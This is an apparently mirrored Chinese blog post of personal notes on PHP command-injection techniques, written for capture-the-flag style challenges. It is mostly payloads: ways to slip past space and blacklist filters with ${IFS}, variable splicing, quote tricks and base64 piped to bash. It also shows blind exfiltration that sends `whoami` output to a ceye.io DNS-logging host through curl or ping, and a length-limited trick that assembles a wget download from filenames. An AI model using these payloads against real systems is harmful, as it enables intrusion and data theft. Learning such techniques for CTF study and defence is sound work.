zoukankan      html  css  js  c++  java
  • 浅析php命令执行

    总结一下自己在命令执行这一方面收获的一些小技巧

    Linux读取文件的一些命令

    cat  从第一行开始,显示文件的所有内容
    tac  从第最后一行开始,显示文件的所有内容(正好与cat相反)
    more 根据窗口大小,一页一页的实现文件内容
    less 和more类似,但是优点是是可以往前翻页和搜索字符
    head  只显示前几行
    tail  只显示后几行
    nl     类似于cat -n,显示时输出行号
    

    linux下的一些绕过方式

    • 过滤了空格

    可以使用${IFS}来进行绕过
    echo${IFS}123456

    读取文件的时候可以使用重定向符号

    cat<>filename

    cat<filename

    • 黑名单绕过

    使用拼接法

    a=l;b=s;$a$b 执行的就是ls

    利用base64编码
    echo "d2hvYW1pCg=="|base64 -d 整体用反单引号包一下,我这边是markdown语法。

    echo "d2hvYW1pCg=="|base64 -d|bash

    使用单双引号

    ca''t flag
    ca""t flag
    ca''t fl''ag

    使用反斜线

    ca flag

    Linux自带的一些字符

    绕过过滤分隔符号

    Linux自带的三种分隔符号
    ; || &&

    ${PS2}代表">"
    ${PS4}代表"+"
    ${IFS}代表字段分隔符
    ${9}代表空字符串
    

    可以使用

    %0a %0d ; ${IFS} &绕过

    命令终止符号

    %00 %20#

    无回显命令执行

    • 反弹shell(nc啦,msf啦这里面不在赘述)

    • dns管道解析

    http://ceye.io/records/http注册一个账号就行了,看一下自己的dns

    执行
    curl http://ip.port.b182oj.ceye.io/`whoami`
    ping `whoami`.ip.port.b182oj.ceye.io

    curl `whoami`.i96tvv.ceye.io

    在看一下dns的解析记录

    限制了长度

    1>wget
    1>域名.
    1>com
    1>-O
    1>she
    1>ll.p
    1>p
    ls>a
    sh a
    

    利用文件名进行命令执行6

    文章

  • 相关阅读:
    python uuid
    linux 修改时区
    Nginx 缓存命中率
    MongoDB oplog 详解
    MongoDB 复本集搭建
    复制集简介
    解决Python2.7的UnicodeEncodeError: 'ascii' codec can't encode异常错误
    MongoDB 介绍
    python virtualenv
    Docker Compose 模板文件 V2
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/qian-xiphp-ming-ling-zhi-xing.html
Copyright © 2011-2022 走看看